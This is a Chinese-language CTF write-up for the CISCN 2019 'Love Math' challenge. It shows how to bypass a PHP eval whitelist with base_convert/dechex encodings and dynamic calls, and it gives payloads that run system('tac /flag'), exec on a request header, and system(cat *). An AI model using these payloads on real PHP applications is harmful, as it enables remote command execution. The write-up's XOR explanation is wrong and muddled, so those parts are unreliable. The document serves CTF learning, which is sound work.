[CISCN 2019 初赛]Love Math
(0)
    • 源码
    • 基础

      base_convert():函数在任意进制之间转换。
      语法:base_convert(number,frombase,tobase);
      dechex():十进制转换为十六进制
      bin2hex():把 ASCII 字符的字符串转换为十六进制值
      hex2bin():把十六进制值转换为 ASCII 字符(PHP5.4.0+)
      pack():把字符串从从十六进制转换成ASCII字符
      getallheaders():获取全部http请求头信息,返回包含当前请求所有头信息的数组

    36进制:有所有小写字母,但是没有符号

    异或:二进制数每一位进行异或运算,相同位为1,不同位为0。左右参数都是字符串时,操作字符的ASCII值

    PHP中函数名默认为字符串

    动态函数:

    • 步骤
      看了网上他们的思路,自己还是得动手实现一下
    1. 构造$_GET[]
      首先是$,_,[,],这几个符号和GET大小写的问题.

    解决:

    ASCII中有大写字母和'_',所以可以构造_GET。{}可以代替[]。

    先将ASCII转成十六进制,但由于十六进制中的字母会被过滤,所以再转成十进制为1598506324,十进制用来传入。
    但是这个十进制是需要转化回来的,先用dechex(1598506324)转换为十六进制,再用hex2bin转换为ASCII码,但是这个函数并不在白名单中,所以用base_convert函数用36进制拼凑出来。
    由$pi=base_convert(37907361743,10,36)(dechex(1598506324));得出$pi="_GET",下面(_GET){pi}($_GET){abs}&pi=system&abs=tac flag.php由($$pi){pi}(($$pi){abs})&pi=system&abs=tac /flag构造

    tac从后向前查看文本内容(将文件以行为单位反序输出)

    2(2). header(还没明白)
    跟第一个一样的方法由$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})构造出exec(getallheaders(){1})
    3(3). 利用函数拼接处exec或system

    直接用命令cat (但是我们需要异或一个空格和出来)

    这个思路是用函数名称的字符串异构出一个值,比如
    $a = asinh
    $b = pi
    $a ^ $b ^ " *" = 10
    所以$a ^ $b ^ dechex(16) = *
    构造出c=system(cat *)

    参考链接:
    https://www.cnblogs.com/20175211lyz/p/11588219.html
    https://northity.com/2019/04/23/CISCN2019Web-WP/#love-math

    本文为作者hackerbo.com发布,未经允许禁止转载!
    上一篇 下一篇
    评论
    暂无评论 >_<
    加入评论